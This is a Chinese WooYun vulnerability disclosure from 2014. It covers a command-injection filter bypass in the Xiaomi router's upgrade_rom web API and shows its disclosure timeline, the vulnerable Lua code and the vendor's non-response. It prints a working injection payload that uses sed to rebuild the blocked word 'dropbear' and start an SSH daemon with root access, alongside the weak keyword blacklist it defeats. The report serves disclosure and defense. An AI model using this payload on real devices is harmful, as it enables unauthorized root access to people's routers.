漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2014-05-16: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-15: 细节向核心白帽子及相关领域专家公开
2014-07-25: 细节向普通白帽子公开
2014-08-04: 细节向实习白帽子公开
2014-08-11: 细节向公众公开
简要描述:
小米路由器参数过滤绕过命令执行漏洞,还是那个老地方还是那个参数,可提升root权限。
详细说明:
漏洞关联: WooYun: 小米路由器参数过滤不严命令执行漏洞
0.5.11最新版本存在这个绕过问题,修补了但是没补好。
涉及文件:
\usr\lib\lua\luci\controller\api\xqsystem.lua
\usr\lib\lua\xiaoqiang\util\XQSecureUtil.lua
Web API接口存在参数过滤不严绕过,命令执行漏洞。 需要web管理员权限
entry({"api", "xqsystem", "upgrade_rom"}, call("upgradeRom"), (""), 138)
XQFunction.forkExec(string.format("/usr/sbin/crontab_rom.sh %s %s %s", url, hash, filesize))
/api/xqsystem/upgrade_rom 的url参数过滤绕过带入执行。
过滤方式采用关键字白名单
function cmdSafeCheck(url)
return _keyWordsFilter(url)
end
漏洞证明:
利用方法:/api/xqsystem/upgrade_rom?url=' '' '' && SC=`echo '/usr/sbin/Dropbear -p 22'|sed 's/D/d/g'` && ${SC} && '
黑名单过滤不严,易被绕过执行。
如返回:{"code":0} 表示执行成功
黑名单过滤代码:
-- check url
KEY_WORDS = {
";",
"nvram",
"dropbear",
"bdata"
}
function _keyWordsFilter(value)
if XQFunction.isStrNil(value) then
return true
end
for _, keyword in ipairs(KEY_WORDS) do
if value:match(keyword) then
local XQLog = require("xiaoqiang.XQLog")
XQLog.log(6,"Keyword Warning:"..value)
return false
end
end
return true
end
function cmdSafeCheck(url)
return _keyWordsFilter(url)
end
修复方案:
再改改过滤吧,不行尝试白名单?
版权声明:转载请注明来源 New4@乌云
>
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-08-11 08:22
厂商回复:
最新状态:
2014-05-21:最近太忙没有及时进行确认,深感抱歉,请联系我,礼物稍后送上。


